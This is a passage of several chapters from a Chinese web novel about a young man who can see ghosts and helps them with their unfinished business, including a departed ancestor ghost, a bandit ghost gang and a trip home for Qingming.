温远清楚这个地方，他仔细回忆，不断肯定地说：“榆林镇，这里，小寻就是在这附近走失的。” “我现在马上开车过来，请你务必要给我看牢，拜托了。”温远恳求 12. 完成离去 《人鬼交流所》全本免费阅读 “坐我的车回去吧？”温远想让温令羽他们陪赵寻待一会，可以让她不要这么害怕。 温令羽知道温远的打算，然后问赵寻：“我们和你一辆车可以吗？” 要是赵寻愿意单独和温远相处，温令羽和宋时盛自然是不会去打扰的。 赵寻点点头，同意让温令羽和宋时盛一块儿上车回去。 沿路上看到服装店，温远给赵寻买了好几套，等回酒店后，让她换下身上不合适的衣服，再回去。 温令羽的房间被临时征用了，宋时盛起得早回去补觉了，不想打扰任何人，温令羽干脆就在酒店大厅等。 温老和阿辛自事情尘埃落定，想着来都来了，撒了欢去玩，早不知道跑哪儿去了。 正当温令羽玩小游戏打发时间时，温大爷从酒店门口晃晃悠悠进来。 温大爷摆手让温令羽过去，温令羽不疑有他，跟着他去到了走廊尽头的卫生间那里。 这个时候，卫生间没有人使用。 眼瞅着温大爷嘴巴在动，可温令羽却听不见任何的声音，惊讶出声：“我怎么什么都听不见。” 话音刚落，温大爷明白了，原来最先消失的是声音。 温大爷自顾自摇了摇头，见他还在说话，却还听不见，温令羽直接走过去，靠得近了，才堪堪能听见温大爷的话，很轻。 听清楚的那一刻，瞬间被立在了原地。 温大爷说道：“我要离开了。” 发觉到声音越来越轻，温令羽几乎是紧紧贴着温大爷的嘴巴，他迫切地问道：“为什么？为什么……” 温令羽想到了，是温大爷的任务完成了，所以他要离开这个世界了。 看见温令羽的表情，温大爷就知道他明白了，也不再多说。 肉眼可见的，温大爷的身体变得虚影，下一秒他就消失在了温令羽的眼前，连一句话都没能留下。 像是从没有来过。 温令羽从洗手间出去，温远和赵寻已经弄好了，在等他同他告别。 “阿寻说想问你要个电话，希望以后能联系上。”温远说道。 温令羽一口就应下来，然后将他的电话写在纸上，递给了赵寻，“要是想找我了，可以打这个电话。” 温远不想逗留在这里，即刻就启程了，“那我们先走了，家里她妈妈还等着。” 温令羽把父女俩送到了停车场，看着两人上了车，温远将车窗降了下来。 “这次的事情多亏你了，回去有需要我帮忙的尽管开口。”温远自认下这个人情，让温令羽有需要都可以提。 温令羽突然想起温大爷，那位从来到这里，就护在赵寻身边的小老头，说道：“能找到全靠祖宗保佑，回去之后还个愿吧。” 说的时候，是正经的。 但听在他人耳朵里，是有趣且好笑的。 温远打趣道：“想不到你还挺会开玩笑的，好了，阿寻跟哥哥再见。” 温令羽没解释，挥挥手，目送两个人离开。 事情告了一段落，温令羽一下子放松了下来，不再紧绷着。 这就很容易犯困，温令羽打了个哈欠，准备回去睡个回笼觉，大年初一，是个适合睡觉的时间。 一转头，就见温老和阿辛站在他身后，看他们样子，应该是等了很久了。 想起了什么，温令羽跑到了温老面前，说温大爷的事，可又不知道从何说起，沉默了，“温大爷……” “不用说了，我知道他怎么了。”温老阻止温令羽继续往下说。 温令羽不解，就在两人旁边的阿辛，当然能发现有事瞒着他。 “有什么不能说的。”阿辛急切想知道。 温令羽又看了眼温老，征求他的意见，阿辛挡在了中间，就是要温令羽讲。 拧不过阿辛，温令羽慢慢吞吞说道：“温大爷走了，他消失了。” “挺好的，挺好的。”阿辛努力掩饰自己的哀伤，发现自己没隐藏好，直接跑走了。 温老一掌就拍到温令羽的脑袋，“看看你惹出来的事情。” 温令羽既无辜又委屈，可在此情此景下，一点不敢表现出来。 不过这一巴掌也拍醒了温令羽。 难怪这段时间，温老总是要带着阿辛远离他们几个，经常脱离队伍行动，甚至有时无视温令羽的抗议，也要走。 这几天内，温老时不时借口带阿辛出去，连任务都不管了。 温令羽埋怨过，觉得他俩玩物丧志，脑子里想得不是正事，光想着玩。 仅仅是不想让阿辛看到温大爷的离去，倒不是说想念这类的，而是不愿想起伤心事。 看着身边的人一个个离去，但自己只能被迫留在这里。 “那你呢？你不想走吗？”温令羽看着温老。 温老自己都不知道答案，干脆就没回答温令羽这个心血来潮的问题。 阿辛比他们预想，恢复得快，当天晚上就回来了，而且心情还很好，给温老带了不少特产。 事情是温令羽搞出来的，他心有愧疚，见阿辛回来，根本不敢多说话，生怕哪句话又踩到了雷。 阿辛自然是感觉出来了，但他也不知道该怎么破解这个尴尬氛围。 于是，僵持的气氛延续到了搬房间的这天。 朋友要来，宋时盛和温令羽要从酒店房间，搬到后面的套房去。 套房里的房间不多，需要安排两个人合住，温令羽同另一个朋友抽签住在一起。 趁着人都在楼下，温令羽拉住温老和阿辛。 “房间都满了，你们怎么办？”温令羽是连地铺都打不出来，专门摆个地铺空在那里，绝对会引起别人的注意。 温老和阿辛不需要睡眠，但夜晚没有娱乐活动太没劲了。 阿辛站了出来，拍拍他胸脯，“我有地方去，我新交的朋友就在附近，我们去找他就行，不用担心。” 地方是有的去了，就不知道温老愿不愿意。 温令羽和阿辛看着温老，问他的意见。 “看我做什么？我难道会不同意？”温老爽快地应下了。 安顿好这两人，温令羽回到了楼下，就见一群人围在大门玄关处，没人说话。 温令羽好奇心作祟，边走边问：“你们在这里干什 13. 分歧隔阂 《人鬼交流所》全本免费阅读 一看温令羽就是不上钩，他也没了办法，在众目睽睽之下，也不好直接溜了。 “他就是想赚点钱，就当做个慈善了。”他也知道这话来得莫名，说到后面，自己都变得没声了。 这种愿望，温令羽不敢置信。 老话说，天上掉馅饼的事儿，要不没有，要不然会带来霉运。 不太敢相信，温令羽问道：“是家里有什么变故了吗？” 阿辛一把将温令羽推开，语气很冲，“哪里有什么变故，不就是贪心，不想付出就想得到回报。” 温老不搭话，一脸爱莫能助的表情。 而阿辛这番话，直接把人气走了。 在此之前，温令羽一直以为，只有像阿辛这种、或是赵寻那种无助到极致的情况，才能出现在这里。 甚至只要是能帮，温令羽不会放任不管。 在一旁的温老看见温令羽眼里的迷茫，微不可察地叹了口气，但到底还是没说，有些东西是需要亲自去看清楚的。 阿辛还很生气，剩下的两个朋友也不知道该怎么劝，毕竟人是他们叫来的，事情走向变到这份上，自然是出乎意料的。 温令羽并没有把这件事情放在心上，他再有钱也不可能洒着玩，更何况他现在身无分文。 尊重他人命运。 从榆林镇回去，刚好有相识的鬼朋友要在鬼小馆办宴会，都收到了请帖，邀请他们一起去。 温令羽是享受不到一点，但过去凑个热闹是有趣的。 到了地方，门口围了好多陌生的面孔，温令羽问招待的人员，“他们怎么以前没见过？” 温令羽经常来这里找温老和阿辛，同这里的人都认识，说得上几句话。 他一听这个，侧了个身子放温令羽他们先进去，“好多从外地赶来的，正在核对身份。你们先进去吧。” 鬼小馆不知道是哪个前辈传下来的，成为了不少流浪在外的鬼魂栖息之地，没地方去就可以留在这里。 鬼的智慧在此处展现得淋漓尽致，可以说和正常人生活，一般无二。 该吃该喝该玩，洋洋少不了。 温令羽一进来，许久没见面，一下子纷纷围了上来，左一句右一句的。 “听说你们过年出去了？好玩吗？” “是在哪里？远不远？” “有没有拍照片？阿辛我倒腾来的相机有没有派上用场。” 阿辛一听这话，从随身的书包里拿出来，说道：“当然用上了，你们看，拍得不错吧。” 这东西对温老并不陌生，他待得无聊，与温令羽说了一声，便去找他朋友刷剧，太久没看，肯定落下了不少。 几人专注看照片，没注意到门口闹出的动静。 等响动声音大到大家能听见，对方早已将地方挪到大厅内。 诺大的大厅里，中间空出了一块儿，站着好几个凶神恶煞的鬼魂，手里还拿着棍棒，就是来砸场子的。 他们一进来，里面的人就被推着走，温令羽他们一不留神就被挤到了边缘。 阿辛和温令羽来得日子短，没见过这种架势。 害怕说不上，就是好奇来人的身份。 “鬼小馆在最早的时候，就是大伙儿没处可去抱团取暖的地方。待的时间长了，资源不够分，就会有人走。” “这几代都是会点科技的人留在这里，然后其他人分不到利益就走了。” “他们就是走的那一批，好多年没见过面了，不知道他们回来要干什么？” 稍微懂点的，就能知道来龙去脉，干脆就当面讲了，也给一群新来的长长见识。 温令羽担心真打起来，默不作声地把阿辛往身后带了一点，别到时候闹起来伤到阿辛。 鬼打不到人，温令羽并不害怕。 就在这时，中间领头的发话了，“听说这里有个能看见鬼的人，我们找的是他，其他都不追究。” 这就是来找温令羽的。 温令羽不想对方伤到其他人，准备自己出去承担，被阿辛拦在了后面，“他们不像好人，你别随便上去。” 还没等温令羽自己出去，早就有人发现这边的动静，给他让出一条路，空出来的地方，把温令羽完完全全暴露。 阿辛陪着温令羽走到那群人面前，温令羽说道：“是我。” “听说你把那个老头送走了？” 送走了。 温令羽有些绷不住，这头头说话有水平。 眼见温令羽迟迟不答，那头头示意其他人把人拉出来，没过一会儿，就有人从后面探出头来。 这么快能重新遇见，温令羽很意外。 “就他，那老头临走前还感谢他，我都看见了。”嚷嚷着要温令羽送钱慈善的那个，原来那天就躲在厕所里。 温令羽冷眼看着他说话，一点回应都不给。 突然，为首那位变了脸色，好声好气地说：“兄弟，我们有一个很小的事情，非常棘手，但对你来说，就是举手之劳。” 温令羽迟迟不答应，对方也不松口，氛围僵持在这里。 很快，这场宴会的主人公姗姗来迟，进来看到里面死寂的氛围，心里非常不满。 对于破坏的两方，全都没有好脸色。 “这是我的宴会，挤在这里是不给我面子吗？”于先生作势就要赶走。 温令羽单纯来凑热闹的，对于来人是一点不熟，不知道此人的身份。 哪料到，原本还堵在大厅里的人，听这话，还真乖乖退了出去，让其他参宴的人顺利进去。 “我们换个地方谈，不打扰于先生的宴会了。”对方直接要把温令羽一起带出去。 温令羽也不想影响其他人，答应出去了。 到了一处空旷的地界，温令羽想速战速决，“你们需要我做什么？” 很快，有人就拿过来一张相片，是一张小学生的照片。 温令羽看了看模样，仔细看看是有几分相像，他凑在阿辛的耳边说道：“你看他们像不像父子？” 阿辛原先还不觉得，听温令羽一说，还真凑近仔细去瞧，看看眼睛，对对鼻子。 要说像，还真搭边。 “这你儿子啊？还是孙子？曾孙子？”阿辛已经不害怕了， 14.兄还是弟 《人鬼交流所》全本免费阅读 “会不会有苦衷啊？”阿辛注意到墙上挂着的钟表，接近凌晨，可温老还没有回来，不禁有些担心。 温令羽此时冷静下来，之前一气之下就走的行为，过于莽撞，至少应该听听温老的解释，万一是个误会。 这个想法一出现，温令羽再也坐不住了，出门去找人。 阿辛跟了上来，“我和你一起去。” 鬼没有手机，联系不上温老，只能到处找人问，有没有人看见去了哪里。 阿辛和温令羽兵分两路，相互问着问着，到了一个小区附近。 “阿羽。”宋时盛从小区大门口进来，他刚聚完餐回来，就看见温令羽在他小区门口瞎晃悠。 一路找过来，没有发现这是宋时盛家，现在仔细瞧瞧，还真的是。 温令羽没法说自己是来找鬼的，找了个借口，“我睡不着，出来散步。” 话落，温令羽发现在前面亭子那里，温老正和另一位老头坐着品茶，在漆黑的夜里，别有一番风味。 “那你慢慢逛，我回去睡觉了。”宋时盛他喝了酒，这会儿正上头，头晕想睡觉，也没心情聊天，摆摆手自己回家了。 温令羽巴不得宋时盛赶紧回去，目送宋时盛进了他家公寓楼。 “这张照片太旧了，那小伙子现在长得又高又俊。”另外那老头边说边把照片翻来翻去的看，又一再确定没弄错，说道：“你找他干什么？” 四周很静，哪怕是隔着一段距离，也能听清楚他们在说什么。 视线可能是有温度的，温老发现了温令羽的身影，他站了起来，“大晚上的，你怎么还出来。” “找你的。”温令羽回答。 那老头看到温令羽，顿时激动起来，拉着温老介绍道：“这个小伙子我见过，以前经常过来，他和你要找的人认识很熟。” 这老头是小区里的常驻民，温老特意托人打听，才找了过来。 这个小区，温令羽就和宋时盛关系好，难不成要找的是宋时盛，但年龄对不上啊。 于是，温令羽忙不迭反驳，“不可能，照片上就是小学生，和宋时盛一点边搭不上。” 老头脾气犟，不容许其他人随便反驳他。 “嘿，你还不信？这张照片上的人这么好看，我这个老头子记得牢牢的。” 温令羽和宋时盛是在高中认识的，没见过他儿时的样子，但要是让温令羽凭几句话相信，没可能。 就在两人僵持的时候，温老声音插了进来，“他是不是还有个弟弟？他弟弟年龄可以对上。” 温令羽忙制止他，“你打住你打住。” “不是，你真要为他们做事？”温令羽直到现在，还不敢相信。 温老先是看了看周围，确认没人盯梢，才说道：“我不这么说，阿辛哪里能放回来？” 缓兵之计。 确认过温老不是有这个心，悬着的心放了下来，突然一下又提了起来。 “那你过来问这些干什么？” “得从源头解决，一劳永逸知不知道？”温老恨铁不成钢地教育道。 听此，温令羽火速找了个位置坐下来，“仔细说说。” 温老抬头看看天，这个时候都已经过了零点，已经不早了。 突然，老头一把拉住温老，“我刚刚仔细想了想，你说得对，他家那小一代也和照片上挺像的。” 温老站了起来，准备跟温令羽回去了，“到时候过来看看就知道了，那群人肯定会安排人跟着他。” 动作很快，温老说完抬步就走，甚至还回头看温令羽有没有跟上来，催促他快点。 回去的路上，温令羽一直在想，宋时盛他们一家到底哪里惹到那群土匪。 明明就是两个时代的人，怎么还可能会有交集。 路上，刚好碰到阿辛找完人回来，见到温老被找回来，他也很高兴。 不过因着前面的放肆，有点害怕，不敢站在温老旁边，离温老很远。 温令羽默不作声后退，把阿辛往温老那边挤了挤。 就发了一会呆，阿辛就注意到旁边走着的是老先生，恨不得当场倒下。 太紧张了，视线变得热烈起来。 温老抓住，时不时偷看自己的人，“你老看我，怎么了？” 逃不过，阿辛一脸歉意地说道：“老先生，今天我的话太过分了，向你道歉。” 温老早把这件事情抛掷脑后，一提起来，他“啊”了一声，“知道你是担心，心是好的，不怪你。” 温令羽当时走得早，没听见阿辛对温老吼的话。 回到了家，温令羽把温老的打算同阿辛讲了，都是一条绳上的，自然有什么话要说明白。 果然是场误会。 若要说走在路上，是觉得自己无礼才道歉，这下子，阿辛恨不得直接自刎谢罪。 “老先生！我对不起你啊！”阿辛一把鼻涕一把泪地叫。 温令羽看了个乐，抽了张纸，装模作样给阿辛擦，被阿辛一脸嫌弃推开。 由于想搞清楚对象，温令羽一人一队，阿辛和温老一起，分开跟宋家兄弟两。 阿辛和温老去跟弟弟上辅导班，温令羽就更轻松，直接把宋时盛约出来打游戏。 直到了开学那日，分开的两队均没有丝毫收获，压根没有见到那群鬼。 温令羽早上一醒过来，条件反射给宋时盛打电话，铃没响几声就接了。 宋时盛疲惫到说不上话，“又出去打？哥，我是真去不动了。” 以往让对方叫声哥，是比登天还难，宋时盛现在脱口就是一句，那真的是开天窗。 看样子他也实在是叫不出来的。 温令羽自己也不想，打电话的动作纯属肌肉记忆，前几天习惯了。 这会儿清醒起来，他翻了个身，难得犯了会懒，等了半小时，才从房间里出来。 原本早该出门的阿辛和温老，也瘫倒在沙发上，显然是打算罢工。 明明鬼是不会疲惫，但不知道为何，就单单看着，有一种说不出的累。 温令羽给自己热早点，“你们今天也不去？” 阿辛无精打采地点点头，“去不动了。对了，今天是不 15.往事由来 《人鬼交流所》全本免费阅读 小学是明天报道，由于学校这个离谱的规定，整个校门口停满了车子。 不断有车往里面进，还有其他车子出来。 直接把整条路堵死了。 坐在出租上的两人对视一眼，宋时盛先忍不住，“要不然走过去。” 还没入春，天还有点冷，更何况还拿着装饰品的大包小包，真要下去走一段，面上冷风呼呼吹，实际热得冒汗。 眼瞅着要挤半个小时，温令羽绝对他更能接受步行过去。 从后备箱，一人抱着一箱子往小学路口走。 越靠进熟悉的大门，不由得回忆起上次来这里是什么时候。 时间久远，温令羽一时间想不起来，只能排除错误选项，抽丝剥茧，终于是想起来了。 温昕刚上小学一年级，报道第一天，一直赖到了下午。 温令羽当时已经回来了。 “哥哥为什么不用去？”温昕看着躺在沙发上刷手机的温令羽，十分不满。 突然被提到，温令羽愣了神，慢吞吞指了指自己，“你是在说我吗？” 温昕还在闹着说不去，温父好声好气地哄着她，“哥哥已经去过学校了，等下我们去了也能回来的。” “不相信，以前他去了学校，一周才回来一次。”温昕还记得温令羽读小学住校的事，以为她这一去就回不来了。 听此，温父举手保证：“不可能，我们今天还要回家吃饭。” 温令羽眼看自己脱离了战场，就想着回房间躺着休息一下，就这么一下，被温昕这丫头逮住了。 “我要哥哥陪我一起。” 温昕终于开尊口说要去，温父直接拉上温令羽就上车，完全没征求过温令羽的意见，扯着就走。 直到一行人上了车，温父才终于安心下来。 “终于可以去学校了，再不去妈妈回来要骂死我们两个。”温父松了一口气。 温昕双手背着她新买的书包，偏头看温令羽说道：“哥哥，上学开心吗？” 对方是真的好奇，温令羽思索了一会儿，“开心。” 由于是下午，报道的人都走完了，小学门口没什么人，甚至整个校园都是静悄悄的。 温父要带着温昕去找教室，见班主任，温令羽走不了就在校园里瞎逛。 没想到再一次来，是帮别人布置教室。 宋时盛在校门口登记了名字，两人顺利被放了进去，教室在三楼，路过其他门口，可以看到里面正布置得热火朝天。 有些教室更加恐怖，家长直接把能叫来的家里人都叫来了，十几个人在小学生的教室里，本来宽大的室内都显得狭小了。 温令羽看得入神，走在前面的宋时盛也好奇，走过来一看，是个大阵仗。 与之相比，他们两个的东西太寒酸了。 “我们这会不会太少了？”温令羽不敢确定。 眼下，宋时盛头都快大了，没想到这不是件好差事，“够了够了，小孩子不要攀比，所以我认输。” 心态渐渐放平，没有什么负担地装饰去了。 活干到一半，温令羽把墙上最后一个装饰贴好，就准备出去透口气。 里头暖气吹得久，他有些头疼。 刚一出去，就发现门口站着个老头衫大哥，光想着这冷飕飕的天气，就可以猜出他不是个正常人。 老头衫大哥也认出来了温令羽，乐呵呵朝他打招呼，“小伙子是来完成我大哥人物的？” 伸手不打笑脸人。 温令羽没对大哥黑脸，他不答反问：“这位大哥，你大哥在不在附近？我想和他聊聊。” 老头衫大哥“嘿”了一声，“见我大哥，那你要等几天，他在乡下，一来一去赶路要好几天。” 这倒是意外了，而且据他所知，鬼之间没有联系方式。 温令羽心里有了猜测，“你是要跑到乡下和你大哥说啊。” 许是语气里的惊讶太显目了，老头衫大哥一脸不好意思，“唉呀，小弟这份工作不好当啊。” 说着，他嫌弃站着太累，直接坐在了走廊的地上。 温令羽肯定不能像他一样，只能装作靠在墙壁上思考人生，然后继续和老头衫大哥对话，套出一点消息。 “大哥，你们当时拿出来的照片太旧了，我看不清楚，这人是谁啊？”温令羽边问边看对方的反应，担心会不会被对方发现他在套话。 老头衫大哥撇撇嘴，他摇了摇头，没说话。 这可给温令羽看着急了，“是不能说，还是什么？” “当然是不知道啊。就里面那位，他小时候就和照片上挺像的，本来以为是他了，结果他弟弟又像，根本不知道哪一个，随便跟一个交差了。”老头衫大哥对这项任务无奈至极。 温令羽“你”了一半天说不出一句完整的话，“那你们这么坚持是为什么啊？” 天地良心，温令羽实在是没话说了。 “上辈子的恩怨了，我们追了他三辈子了，真的想完成任务走啊。”老头衫说起这个就想哭，偷偷拿着他的衣领子擦眼泪。 温令羽条件反射从衣兜里拿出纸巾，拿到半道，发现自己给不了，顺手又放了回去。 “你们做鬼的也挺执着啊，一追就三辈子。” 老头衫大哥像是终于找到个能听他说话了，一开了话闸，停不住的话往外冒，完全不需要温令羽一句话一句话地引导。 没关系，他自己能讲。 土匪窝被朝廷剿灭后，没留下一个活口。 正如他们结拜时说的那样，不求同生但求同死，确实死在了一块儿。 以前当土匪，占山为王，但有原则，只抢往来有钱人，对于山地下的穷村子，那是看不上，从没去过。 抢得多了，闹太大，朝廷便派官兵下来剿灭，临走前还在这里设了父母官，来保百姓安居乐业。 稳定的地方，就会吸引大批做生意的来这里，便迁来了外地人过来宜居。 此后，当地人活得还不如土匪还在的时候，对比外地人吃香的喝辣的，心里更加不平衡，请县老爷做主，但人家不作为，还觉得是他们不努力。 直到外地人要赶人了，当地的村子开始求鬼神，那群死后成了鬼 16.消除偏见 《人鬼交流所》全本免费阅读 若是按照剧情发展来说，那绝对是选择去的，毕竟人家是因为别人的话才退缩的。 给一个机会，当然要抓住。 偏偏这么想，就越不会实现，会往意想不到的地方发展。 老头衫大哥嫌弃的表情放在明面上，他无所谓地摆了摆手，拒绝的样子非常无情，“不去不去，我就是羡慕有文化的人，羡慕仅仅就是羡慕。” 还真是一点不为难自己。 干了几个小时，终于是将教室布置完，看着满教室的成品，宋时盛突然良心发现，不好意思只拉着温令羽干活。 “要不然我请你吃饭？”宋时盛提议道。 换成以前，温令羽就去了，但想着身后还跟着人，含泪拒绝了，“下次吧，记得欠我一次啊。” 宋时盛可不管，过了这村就没这店，他直截了当：“那不行，就这会，自己不去就没了。” 最终温令羽和宋时盛两人到校门口选择分开，各回各家。 报道是明天，热闹就这么一会儿，这下变得越来越冷清，老头衫大哥也待不下去，便说要上温令羽家去坐一坐。 念着前面套了这么多消息，温令羽脸皮薄，拒绝不了，同意把他领回去，只希望不要给阿辛搞出心理阴影。 温令羽到家打开门，就见温老和阿辛悠闲地躺在家里沙发上看电视，追得还是他们早看过的一部。 听到动静，他们两连头都不抬一下，只有嘴在动，“回来了？怎么去了这么久？” 就连关心都是顺嘴说的，一点不走心。 就在温令羽想给温老和阿辛做个相互介绍时，一回头发现老头衫大哥不见了。 一紧张就开始到处找，发现人家早坐在沙发另一头，和其他两个一起追起来，恰好视线被他俩挡住，才让温令羽没找到。 “语速这么快！我都没有听清，快点退回去重新再放一边。”老头衫大哥还没有适应倍速播放的生活，跟不上剧情的节奏，说着要阿辛调回去。 阿辛还纳闷是谁在说话，然后就见绑过自己的熟面孔坐在他旁边，两者之间的距离只有一个拳头。 此时此刻对方正目不转睛地盯着电视屏幕，然后发出不满信号。 一瞬间，身体都变得僵硬。 阿辛不敢暴露，他戳了戳温老，示意温老往他旁边看，然后两只鬼齐齐发出尖叫，老头衫大哥还好，最遭殃的是温令羽。 他的耳膜被震得生疼。 温令羽急急叫停他们，“都别喊了，惊讶啥啊。” 说着，就想让老头衫大哥自己做个介绍，但他沉浸在影视剧中无法自拔，分不出心思来应。 敷衍两句，然后继续看剧。 能一起喜欢看电视，我们就是好朋友。 温老指着电视给老头衫大哥，说道：“就这个小儿科，晚点带你去鬼小馆浪一圈。” 老头衫大哥连连点头，一脸兴奋，“那个破地方有什么好玩的？真有这么好？” “你去过就知道了。”温老继续诱惑道。 鬼小馆离家不远不近，处在尴尬的中间地带，步行是最合适的，就当饭后散步消食了。 但这回要带老头衫大哥感受下便利生活，宁愿绕路坐地铁，也要让老头衫大哥体验一下。 五号线乘三站再转二号线坐一站。 既然都要去，温令羽不能掉了队，跟在他们后面。 顺着扶梯往下走，老头衫大哥被惊得说不出话来，嘴巴张得大大的，“我要拍下来给我老大看。” 阿辛有些意外，“你们没见过？” 毕竟这不是什么稀罕物，阿辛不能理解他的吃惊。 “嗐，我们这些旧社会的人，哪能适应这里的生活，每次一出来，就完全变了一个样子。” “那你们平时住哪里？深山老林？”阿辛的思绪就开始到处飘。 老头衫大哥点点头，似乎觉得这件事极其正常，“当然了，我们还找到一个很像当初生活过的地方。” 语气里体现了对如今生活的满意。 今日鬼小馆有活动，一走进去，众鬼狂欢，很快就被里面热闹的氛围感染，压根不需要准备，融入进去简直不要太容易。 老头衫大哥刚开始还有些拘谨，玩到后面，分不清东西南北，完全不想离开。 温老和阿辛早累了，懒懒靠在沙发上，边吃边等。 “你们怎么不去玩？”老头衫大哥注意到旁边没一个熟人，还以为被抛下了，结果全在旁边休息。 温老这会儿想起他是个老头，身子骨不行，“人老了，年纪大了。” 老头衫大哥转而看向阿辛，“年轻小伙可不能这么快歇菜。” 这话完全没法接。 突然，酒保从吧台那过来，对阿辛说道：“你上回不是说想找个工作？要不然留在这里清理卫生？” 正值寒假，阿辛不想整个在家荒废自己，于是早早和人脉最广的吧台酒保讲了，希望他能有渠道介绍一下。 做鬼的，没什么时间概念。 以至于假期都结束了，工作还没有着落。 阿辛想了想，还是拒绝了，“接下来没时间啊，这里很忙？” 酒保叹了口气，“自从上次的宴会一开，大伙儿都知道了这里，来的人一天比一天多，实在是忙不过来了。” “要不我留在这里，反正我平常没事。”老头衫大哥心血来潮，想给自己谋个工作。 酒保这才发现，他的旁边还站着一个，光看脸还有点眼熟，总觉得是认识的，“你以前是不是来过？有点面熟。” 与其说感觉，不如说是不敢认。 跟在那群不讲理的大佬后面，能动手绝不动口的土匪小弟，谁敢随便认。 “前段时间我还跟我大哥来过呢。” 听到对方承认，酒保差点要当场表演个晕厥绝技。 几个小时的相处下来，阿辛已经改观了态度，甚至对之前的偏见感到抱歉。 “哥，我给他担保，他一定做的好。”阿辛抱着突然升起来的江湖义气，要给老头衫大哥争口气。 这里确实需要人手，酒保得到了阿辛的保证，也就只能收下人，还给他安排 17.风波前奏 《人鬼交流所》全本免费阅读 “现在这个点公交是不是停了？” 夜晚的高铁站门口，小县城人少，只围了一些接送的家人，连个出租都没见着。 温令羽没想到三年没回来，新建成的高铁站竟然这么偏僻，一时间想不到办法叫车回去。 阿辛拍了拍温令羽，指了隔着一条马路的公交，语气的惊讶藏都藏不住，“阿羽，在那里。” 担心车会开走，温令羽直接飞奔过去，赶在关门的前一刻到了。 “小伙子，后面没人了吧。”司机大叔问道。 温令羽想了想，他们这趟是最后一班，连高铁站工作人员都下班了，想必是没有人了。 “应该是没有了，我已经算晚一点出来的。” 司机最终还是选择多等五分钟，确认已经没人了才开，“我们再等五分钟。” 这个时候人少，车上有不少空位，温令羽为了方便下车，选了靠车门的位置，旁边恰好也坐了人。 温令羽还处在震惊中，“这一班车都这么晚的吗？” 旁边坐着的笑了，然后解释道：“这里偏，所以公交都是跟着高铁走，要是晚点了，车也得一起等。” “那如果晚了一个小时，也要等？” “那当然了，总不能让来这里的人连地方都到不了。” 温家县是还要再坐半个小时大巴才能到，更何况这个时间点，客运中心已经关门了，要明天一早回去。 从郊区到中心城区，温令羽在客运中心附近开了房间，方便早上起来赶车。 眼瞅着离家不过几公里，温老念家，竟然提议要连夜赶回去。 这个提议被温令羽和阿辛两票否决，少数服从多数，温老只能暂时歇下这心思，安心等到明天。 “老先生，你怎么善变的？”阿辛突然说道。 温老先是敲了他的头，“没大没小，有这么调侃老人家的吗？” 阿辛捂着被敲痛的位置，一点不怵，“有时候深明大义，就像世外高人一样，有时候怎么就像个不讲理又任性的老头。” 说到深明大义的时候，还双手张开朝向天，做出迎接神明的样子。 温老想起了一个词，用在这个地方最为合适，“老小孩，老了可不就是小孩。” “看来现在的生活融入得不错，不像刚来时候那样子了。”温令羽不甘示弱，加入了战斗。 刚到这，温老对什么都新鲜，有时还不忘以前的习惯，生活了一段时间，已经可以适应下来，不会手足无措。 三年的发展，老家的建设又更好一点，原先只是大巴车的临时停靠站，如今都有了直达往返大巴。 温令羽到了村口，就看见他三叔公从车上下来，身后跟着的是他小孙子。 “叔公。” 三叔公年龄大了，耳朵不好，还是要别人的提醒下，才能发现是温令羽在叫他。 温令羽只带了一个小行李箱，四周就他一个站在那里，三叔公见状，问道：“你爸呢？怎么就你一个人？” 这会儿还不是生气，单纯问一问而已，大概是以为是分两批回来，这年头工作忙，晚两天是平常事。 温令羽沉默了一会儿，说道：“我从学校过来的，小昕最近课外班报得多，我爸说今年不回来了。” 此话一出，三叔公的脸瞬间耷拉下来，当即要让他儿子给温父打电话。 对方不想他父亲为了这些事操心，过了年身体又差了点，生气对康复没有丝毫益处。 说着说着，两人都不高兴了。 温老在一旁看得一愣一愣，他还记得这些全是他小辈，“你们长幼等级这么严苛？其实没关系的，不来就不来了，一点事没有。” 后知后觉的，温令羽发现他祭祖要拜的人，此时此刻就在自己面前，甚至还在向他吐槽。 温父不愿意大老远回来一趟，温令羽早年也同样，每次回来就当完成任务了，露个脸的事，还少了麻烦。 但这回，温令羽突然有些好奇起来。 “老祖宗，你生前是做什么的？生活过得怎么样？”温令羽悄悄对温老说。 要让他提起自己的事，温老难以启齿，敷衍个两句就找理由跑掉了。 “不说就不说，反正族谱上面有记载，我可以查得到。” 温老越走越快，没一会儿就看不见了，这时候，阿辛走了上来。 “阿羽，我们还是跟上去吧。” 阿辛眼里有温令羽看不懂的担忧，这里是姓温的地盘，按理说是不可能会出意外的。 只能是上一回来，发生了温令羽不知道的事。 不过此时叔公一直在旁边，甚至因为温父没来，要对温令羽多加照拂。 “你去叔公家住，这些天都在我那里。” 温令羽刚想回绝，注意到旁边人提醒，告诉他现在千万别忤逆三叔公，否则这个清明温家绝对清静不下来。 于是，温令羽乖巧地应了下来，“好的，三叔公。” 他们走在前面，温令羽小声对阿辛说道：“到底发生过什么？能让你这么担心。” 阿辛陷入了长久的沉默，到了家门口，都没见他有说这事的打算。 面对他的决定，温令羽并不能强迫。 “算了，既然你不愿意，我自己去问他。” 说着，他给阿辛指了他家的方向，两家离得不远，从这边可以看见他家洋房的屋顶。 有钱总会想在老家出个风头，建个新房子来证明在外打拼有出息，渐渐都变成了习惯。 但原来就住在老家，舍不得老房子，甚至不管小辈怎么说，都不愿意拆掉。 一致决定，在其他地方建新居。 到了现在，都快成了两条分割线。 温令羽搬着自己行李去了给他安排的房间，三叔公坐了长时间的车歇下了，是由三堂叔父过来看看情况。 他是和温父一辈的，儿子定居国外，回不来。 “阿羽，有什么需要的和我说，一家人不要客气。” 温令羽回答道：“挺好的，没什么需要的。” 还以为到这就结束了，对方抿了抿嘴，像是有话却不好意思开口。 见状，温令羽疑惑地问道：“怎么了？” 18.有个朋友 《人鬼交流所》全本免费阅读 “小寻，我们快进门。” 温远摸了摸自己的鼻子，有些不好意思地看向温令羽，“让你见笑了。” 温令羽刚开始还有些拘谨，只敢在旁边应声，要让他主动，那更是想都不要想。 他是把温寻找回来的最大功臣，其他人三句都不离感谢，五句不差表扬，温令羽牢牢占据话题中心，偏不了题。 温寻看出来温令羽不自在了，然后她找了个借口，让他们做午饭去，而她则是要把温令羽带出去。 温寻先一步跑在了前头，温远不放心让她独自跑这么远，他叫住温令羽嘱托道：“照顾一下小寻，玩一会就把她带回来。” 温令羽连忙追了上去，他只晚了几分钟，出来就没见了人影。 正当他慌得没边，准备叫人找的时候，在大门侧边的温寻无奈地叫了他一声。 老房子门口带院子，大门是新修过的，着急出来，就容易忽略站在侧边的人，小时候也总会躲在那一块恶作剧。 既然出来了，温令羽带着温寻四周逛一逛。 